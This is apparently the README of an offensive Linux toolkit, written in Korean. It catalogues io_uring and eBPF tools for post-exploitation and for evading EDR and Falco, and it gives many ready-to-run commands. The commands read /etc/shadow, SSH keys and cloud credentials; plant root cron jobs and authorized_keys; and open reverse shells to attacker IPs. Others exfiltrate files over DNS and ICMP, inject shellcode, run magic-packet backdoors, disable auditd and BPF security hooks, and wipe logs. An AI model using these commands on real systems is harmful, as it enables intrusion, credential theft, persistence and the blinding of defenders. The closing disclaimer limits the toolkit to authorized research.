
Linux용 포스트 익스플로잇 및 회피 연구 툴킷.
io_uring과 eBPF를 기반으로 구축된 Linux용 포스트 익스플로잇 및 탐지 회피 연구 툴킷입니다. liburing도, 프레임워크도 없이 전체적으로 raw syscall만 사용합니다.
더 많은 도구가 곧 추가됩니다. PR은 언제나 환영합니다. 🇧🇷
Rootkit Researchers에 참여하세요
승인된 연구 및 레드 팀 작업 전용입니다. 소유하지 않은 시스템에서 실행하지 마세요.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## 요구 사항
**툴체인**
| 도구 | 필요 용도 |
|---|---|
| `gcc` | 모든 사용자 공간 바이너리 |
| `clang` | `ebpf/*.bpf.c` BPF 측 프로그램 |
| `make` | 빌드 시스템 |
**헤더 및 라이브러리**
| 패키지 | 필요 용도 |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` 및 관련 커널 헤더 |
| `libbpf-dev` | `ebpf/` 프로그램에서 사용되는 `<bpf/bpf_helpers.h>` 및 관련 파일들 |
| `bpftool` | `ebpf/` 내부에서 `make vmlinux`를 통해 `vmlinux.h` 생성 |
Debian/Kali/Ubuntu에서:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
커널 버전
| 최소 버전 | 활성화되는 기능 |
|---|---|
| 5.4 | io_uring 기본 (IORING_FEAT_SINGLE_MMAP, BPF 맵 반복) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | CAP_BPF + CAP_PERFMON 분리 (BPF에서 CAP_SYS_ADMIN 대체) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
Capabilities
ebpf/ 프로그램용 make vmlinux를 실행하려면 커널에서 BTF를 활성화해야 합니다 (CONFIG_DEBUG_INFO_BTF=y).
오래된 libc-dev 헤더를 사용하는 배포판(Ubuntu 22.04 등)에서는 #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45가 필요할 수 있습니다. 이 저장소에서는 이미 처리되어 있습니다.
edrs/에는 권한별로 나뉜 ~75개의 바이너리를 빌드하는 자체 하위 Makefile이 있습니다:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
See [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) for the full breakdown.
## io_uring bypass coverage
io_uring SQE는 커널 workqueue를 통해 처리됩니다. `io_uring_enter(2)`는 `sys_call_table`을 통해 호출하지 않으며, `sys_enter_*` 트레이스포인트를 발생시키지 않고, `native_sys_call`에 대한 livepatch에도 걸리지 않습니다. 이 사실만으로도 아무것도 건드리지 않고 많은 종류의 EDR 후크를 무력화합니다.
io_uring이 단독으로 우회하는 대상:
| 후크 지점 | 설명 |
|---|---|
| `sys_call_table` 포인터 교체 | io_uring은 syscall 테이블을 거치지 않음 |
| `native_sys_call` / `compat_sys_call`에 대한 livepatch | 동일한 이유 |
| `sys_enter_*` 트레이스포인트 | workqueue 경로를 사용하므로 트레이스포인트가 발생하지 않음 |
io_uring이 단독으로 우회하지 못하는 대상 (능동적인 도구가 필요):
| 후크 지점 | 도구 | 도구의 기능 |
|---|---|---|
| `vfs_read`, `security_file_open` 등에 대한 kprobes | `ftrace_enum` | kprobe 후크를 제거함 |
| BPF LSM / KRSI | `bpf_link_detach` | BPF 링크를 분리함 |
| Linux audit | `audit_kill` | NETLINK_AUDIT를 통해 auditd를 비활성화함 |
| LD_PRELOAD / PLT-GOT 패치 | `plt_unhook` | 사용자 공간 후크를 제거함 |
| netfilter OUTPUT / conntrack | `af_packet_shell` | 레이어 2에서 AF_PACKET을 사용하여 netfilter를 건너뜀 |
| `inet_stream_connect` 후크 | `udp_shell` | UDP를 사용하며 tcp connect 경로를 호출하지 않음 |
## io_uring/
`iouring_utils.h`는 liburing 없이 링 구성을 처리합니다.
| binary | 기능 |
|---|---|
| `file_read` | io_uring을 통한 OPENAT+READ+CLOSE 체인, sys_enter_read 이벤트 없음 |
| `file_write` | OPENAT+WRITE+CLOSE 체인 |
| `file_append` | file_write와 동일하지만 O_APPEND, offset -1 사용 |
| `net_connect` | 하나의 링에서 SOCKET+CONNECT+SEND+RECV |
| `net_reverse_shell` | io_uring CONNECT를 통한 리버스 셸 |
| `multifile_read` | 하나의 SQE 배치에서 최대 64개 파일 |
| `memfd_exec` | stdin을 통해 ELF를 memfd로 스트리밍하고 /proc/self/fd를 통해 execve 실행 |
| `proc_inject` | /proc/PID/mem을 통한 JIT 인젝션; ptrace 인젝션(--ptrace 플래그) |
| `pipe_splice` | 커널 간 SPLICE, 사용자 공간 후크는 바이트를 볼 수 없음 |
| `inotify_bypass_watch` | io_uring READ는 IN_ACCESS/IN_OPEN을 발생시키지 않음 |
| `dns_exfil` | io_uring SENDMSG를 통해 데이터를 DNS 쿼리 라벨로 hex 인코딩 |
| `af_packet_send` | AF_PACKET을 통한 raw Ethernet (IORING_OP_SOCKET, inet 경로 우회) |
| `xdp_socket_send` | AF_XDP + UMEM 링을 통한 raw 프레임, netfilter를 완전히 우회 |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
대부분의 도구는 CAP_BPF가 필요합니다. env_exfil은 권한 없이 동작합니다. icmp_trigger는 CAP_BPF 대신 CAP_NET_RAW가 필요합니다.
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
clang + libbpf + vmlinux.h가 필요합니다. `ebpf/` 안에서 `make vmlinux`를 실행하여 실행 중인 커널의 BTF에서 생성하십시오.
| 파일 | 역할 |
|---|---|
| `exec.bpf.c` | sys_enter_execve 트레이스포인트 |
| `fentry_open.bpf.c` | sys_enter_openat 트레이스포인트 |
| `creds.bpf.c` | 자격 증명 경로에 대한 openat+read 추적 |
| `keylog.bpf.c` | 입력 이벤트 트레이스포인트, 원시 키코드 캡처 |
| `net.bpf.c` | sys_enter_connect 로깅 |
| `net_hide.bpf.c` | /proc/net/tcp 및 /proc/net/udp에서 포트 숨기기 |
| `proc_hide.bpf.c` | getdents64 출력에서 PID 숨기기 |
| `tty_sniff.bpf.c` | stdin/stdout/stderr 쓰기 및 읽기 캡처 |
| `skf_c2_runner.c` | 클래식 BPF 소켓 필터를 통한 ICMP C2 |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | 매직 UDP 패킷에 대한 XDP 트리거 |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (Falco 우회)
Falco의 기본 규칙 세트(`modern_ebpf` 드라이버, 25개 규칙)를 대상으로 합니다. 먼저 `edrs/edr_recon`을 실행하세요.
우회 축 A: 이벤트가 Falco에 도달하지 못하게 차단합니다 (io_uring은 `sys_enter_*`를 건너뛰고, ringbuf 드레인은 이벤트를 조용히 버립니다).
우회 축 B: 이벤트가 Falco에 도달하지만 규칙 조건이 일치하지 않습니다 (proc.name 스푸핑, 경로 피벗, 대체 플래그).
| 도구 | 축 | Falco 규칙 |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | 모두 |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | 모두 |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | 모두 |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | 25개 모두 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
PR을 열어 주세요. 단일 목적 도구, 원시 syscall, 새로운 의존성 없음.
이 프로젝트는 보안 연구, 승인된 침투 테스트, CTF 대회, 방어적 도구 개발을 위해서만 제작되었습니다. 여기에 시연된 모든 기법은 공개 보안 연구 및 커널 문서에 문서화되어 있습니다.
소유하지 않았거나 명시적인 서면 승인을 받지 않은 시스템에 이 툴킷을 사용하지 마십시오. 무단 사용은 컴퓨터 사기 및 남용법(CFAA), EU의 정보 시스템 공격에 관한 지침, 그리고 해당 관할권의 동등한 법률을 위반할 수 있습니다.
저자는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 관련 법률 준수에 대한 전적인 책임이 있음에 동의합니다.
| capability | 필요로 하는 도구 |
|---|
CAP_BPF (또는 5.8 이전의 CAP_SYS_ADMIN) | 모든 bpf/ 도구, ebpf/ 로더 |
CAP_PERFMON | ebpf/ tracepoint 및 kprobe 프로그램 |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| 명령어 | 빌드 대상 |
|---|
make all | 전체 |
make uring | io_uring/만 |
make bpf | bpf/ 사용자 공간 도구 |
make ebpf | BPF 측 프로그램 (clang + libbpf 필요) |
make edrs | 모든 edrs/ 바이너리 |
make techniques | Falco 우회 도구 |
make clean | 모든 바이너리 제거 |
| binary | 기능 |
|---|
map_recon | 로드된 모든 BPF 맵 나열 |
map_dumper | ID별로 맵 내용 덤프 |
map_write | ID별로 맵 항목 업데이트 |
map_poison | 페이로드 주변의 Falco interesting_sys 항목을 0으로 만들기 |
prog_recon | BPF 프로그램 나열: 유형, 이름, 맵 수 |
pid_allowlist | EDR 허용 목록 맵에 PID 삽입 |
edr_fin | 로드된 BPF 맵/프로그램을 알려진 EDR 휴리스틱과 대조해 점수 매기기 |
lsm_check | 활성 BPF LSM 후크 감지 및 맵 쓰기 차단 여부 테스트 |
bpf_persist | bpffs에서 맵과 프로그램 pin/검색/unpin |
map_snapshot | 맵 내용을 바이너리 파일로 저장 및 복원 |
env_exfil | 비밀 정보를 위해 /proc/*/environ 읽기 |
bpf_link_detach | BPF 링크 열거 및 분리(LSM 후크 제거) |
link_update | BPF 링크를 no-op 프로그램으로 리디렉션(후크는 보이지만 아무것도 실행하지 않음) |
map_freeze | BPF_MAP_FREEZE를 통해 BPF 맵을 읽기 전용으로 고정(쓰기 시 -EPERM 반환) |
icmp_trigger | ICMP 매직 패킷 백도어; socketpair 릴레이를 통해 리버스 셸 생성; kworker/u4:2로 가장 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| 바이너리 | 루트 | 기법 |
|---|
edr_recon | yes | 12개 벤더 EDR 탐지기: 프로세스, 아티팩트, 모듈, BPF, kprobes |
bpf_prog_recon | yes | 로드된 BPF 프로그램, 맵, kprobes 열거 |
bpf_map_wipe | yes | BPF 맵 항목 삭제 |
bpf_detach_all | yes | 모든 BPF 링크 분리 |
tetragon_blind | yes | Tetragon/Falco 프로세스 스캔, 정지, 해제, 종료 또는 블라인드 처리 |
ftrace_enum | yes | kprobe/ftrace 훅 열거 및 제거 |
lkm_unload | yes | 커널 모듈 언로드 |
lkm_inline_detect | yes | 인라인 커널 훅 탐지 |
perf_bpf_kill | yes | Falco perf-event BPF 프로그램 열거 및 종료 |
module_recon | yes | 커널 모듈 열거 |
cgroup_freeze | yes | cgroup v2를 통한 프로세스 정지/해제 |
oom_cage | yes | 자신 또는 대상에 대한 oom_score_adj 설정 |
sysctl_blind | yes | 보안 관련 sysctl 읽기/쓰기 |
audit_kill | yes | NETLINK_AUDIT를 통한 Linux audit 비활성화/제한 |
inotify_exhaust | yes | 모든 inotify watch 소진 |
netfilter_flush | yes | netfilter 체인 플러시 |
dmesg_wipe | yes | 커널 링 버퍼 클리어 |
ld_so_preload | yes | /etc/ld.so.preload 조작 |
proc_hide | yes | 바인드 마운트를 통한 /proc/PID 숨기기 |
mount_over | yes | 임의 경로 위에 바인드 마운트 |
log_wipe | yes | 로그 파일 및 셸 히스토리 잘라내기 |
elf_infect | yes | PT_NOTE를 PT_LOAD로 변환하는 기생 주입 |
proc_mem_inject | yes | /proc/PID/mem에 pwrite, ptrace attach 없음 |
af_packet_shell | yes | netfilter OUTPUT을 우회하는 raw Ethernet C2 |
icmp_tunnel | yes | ICMP echo-request 페이로드를 통한 데이터 유출 |
event_flood | yes | 모니터를 포화시키기 위해 페이로드 주변에 이벤트 플러드 |
livepatch_bypass | yes | syscall 디스패처의 livepatch 훅을 우회하는 io_uring |
livepatch_stack_blind | yes | livepatch + BPF kprobe + netfilter 훅 스택 비활성화; comm 스푸핑을 통한 모듈 언로드 |
lsm_authlink_blind | yes | LSM auth-link 흐름 비활성화, 인증 에이전트 정지 또는 종료, inode 스왑을 통한 쓰기 |
lsm_callback_bypass | yes | pidfd_getfd, process_vm_writev, perf+BPF attach, 새 netns를 통한 LSM 콜백 우회 |
bpf_fim_blind | yes | BPF FIM 센서 정지, 링 버퍼 맵 항목 삭제, ringbuf 플러드 |
syscall_dispatch_bypass | yes | syscall 디스패치의 kprobes와 livepatch do_syscall_64를 우회하는 io_uring 파일/네트워크 작업 |
bpf_kprobe_bypass | yes | _x64_sys* kprobe 대상을 우회하는 io_uring 파일/네트워크/실행 작업 |
ptrace_inject_so | yes | ptrace + dlopen을 통해 실행 중인 프로세스에 .so 로드 |
uring_stealth | no | io_uring을 통한 파일/네트워크 작업, sys_enter_* 이벤트 없음 |
openat2_bypass | no | 대체 syscall (openat2, copy_file_range) |
ptrace_selfguard | no | 가디언 프로세스를 통한 외부 ptrace 차단 |
plt_unhook | no | dlmopen을 통한 PLT-GOT 훅 탐지 및 우회 |
fexecve_drop | no | ELF를 memfd에 넣고 /proc/self/fd를 통한 execve |
memfd_loader | no | memfd를 통한 .so 로드, 생성자 호출 |
memfd_userexec | no | stdin의 ELF를 memfd에 넣고 /proc/self/fd를 통한 execve |
hollow_proc | no | ps에 디코이 이름을 표시하는 프로세스 할로잉 |
argv_spoof | no | prctl(PR_SET_NAME)을 통한 comm 이름 변경 및 argv[0] 덮어쓰기 |
clone_netns | no | 권한 없는 네트워크 네임스페이스 실행 |
ns_exec | no | user/pid/mount 네임스페이스 unshare |
splice_c2 | no | 데이터 전송에 splice(2)를 사용하는 TCP C2; send/recv 훅이 절대 발동하지 않음 |
abstract_sock_c2 | no | 추상 Unix 소켓을 통한 C2 |
udp_shell | no | inet_stream_connect를 우회하는 UDP 리버스 셸 |
tls_shell | no | 가짜 TLS ClientHello 뒤에 숨은 리버스 셸 |
dns_exfil_raw | no | 데이터를 DNS 쿼리 라벨로 hex 인코딩 |
pidfd_steal | no | pidfd_getfd를 통한 다른 프로세스의 열린 fd 탈취 |
vma_hide | no | RWX에서 PROT_NONE으로 순환, MADV_DONTDUMP, VMA 이름 변경 |
coredump_block | no | filter/dumpable/rlimit을 통한 코어 덤프 차단 |
seccomp_notify | no | SECCOMP_USER_NOTIF를 통한 syscall 가로채기 |
ipc_covert | no | POSIX mqueue를 통한 C2 |
shared_mem_c2 | no | POSIX shm을 통한 C2, 네트워크 트래픽 없음 |
pipe_exfil | no | splice(2) 데이터 유출, LD_PRELOAD 훅 블라인드 처리 |
proc_fd_scan | no | 민감한 경로를 찾기 위해 /proc/PID/fd 심링크 스캔 |
proc_vm_inject | no | process_vm_writev, /proc/PID/fd를 열지 않음 |
self_delete | no | 실행 중인 자신의 바이너리를 디스크에서 삭제 |
time_stomp | no | atime+mtime 복제/제로화/설정 |
userland_persist | no | bashrc/crontab/autostart/authorized_keys |
env_scrape | no | 비밀 정보 및 SSH 소켓을 위해 /proc/*/environ 읽기 |
anon_shellcode | no | MAP_ANONYMOUS의 셸코드, 파일 없음, execve 없음 |
ld_preload_inject | no | .so 드롭 후 LD_PRELOAD로 주입 |
ssh_agent_hijack | no | 탈취한 소켓을 통해 에이전트 프로토콜로 통신 |
fanotify_bypass | no | fanotify 마크를 피하기 위한 memfd/anon-mmap/devshm |
ringbuf_flood | no | 이벤트 드롭을 위해 BPF ringbuf 포화 |
log_evasion | no | io_uring 파일 작업 및 raw-syscall TCP 셸, libc 래퍼 없음 |
syscalltable_bypass | no | sys_call_table 포인터 훅을 우회하는 io_uring |
uring_recon_unpriv | no | io_uring read를 통한 자격 증명, 키, 연결 정보 |
fd_steal_read | no | pidfd_getfd로 fd 탈취, 자체 open() 없이 읽기 |
mmap_read | no | mmap으로 파일 읽기, read() syscall 없음 |
scm_rights_exfil | no | SCM_RIGHTS로 fd 전달, 자체 open() 없이 읽기 |
splice_read | no | splice(2)로 읽기, 사용자 공간 버퍼 없음 |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| 규칙 | 우회 | 도구 |
|---|
| 1 디렉터리 트래버설을 통한 모니터링 파일 읽기 | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 신뢰할 수 없는 민감 파일 읽기 | io_uring 또는 prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 신뢰할 수 없는 셸 실행 | sh 대신 python3/perl | rule_evade unusual-shell |
| 6 컨테이너의 터미널 셸 | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 K8S API 서버 접촉 | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 Netcat RCE | C 바이너리, proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 개인 키 검색 | C에서 open+read, grep/find 없음 | bypass_file_rules grep-bypass |
| 10 로그 활동 삭제 | O_TRUNC 없는 ftruncate | bypass_file_rules log-clear |
| 11 대량 데이터 삭제 | write 루프, shred/mkfs 없음 | bypass_file_rules wipe |
| 15 STDOUT/STDIN을 네트워크로 리디렉션 | dup2 대신 fcntl F_DUPFD | bypass_proc_rules reverse-shell |
| 18 release_agent 이스케이프 탐지 | release_agent에 대한 io_uring OPENAT+WRITE | cgroup_escape proof/shell, uring_ops write |
| 19 프로세스에 PTRACE 부착 | /proc/PID/mem 또는 process_vm_writev | bypass_proc_rules proc-inject |
| 20 PTRACE 안티디버그 시도 | /proc/self/status를 통한 TracerPid 확인 | bypass_proc_rules anti-debug |
| 22 /dev/shm에서 실행 | 대신 /run/user/uid/에서 exec | bypass_proc_rules run-safe |
| 25 memfd_create를 통한 파일리스 실행 | mmap을 통한 셸코드, execve 없음 | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| 모두 | ringbuf 드레인 또는 scap.ko 제거 | ringbuf_overflow, kmod_unload |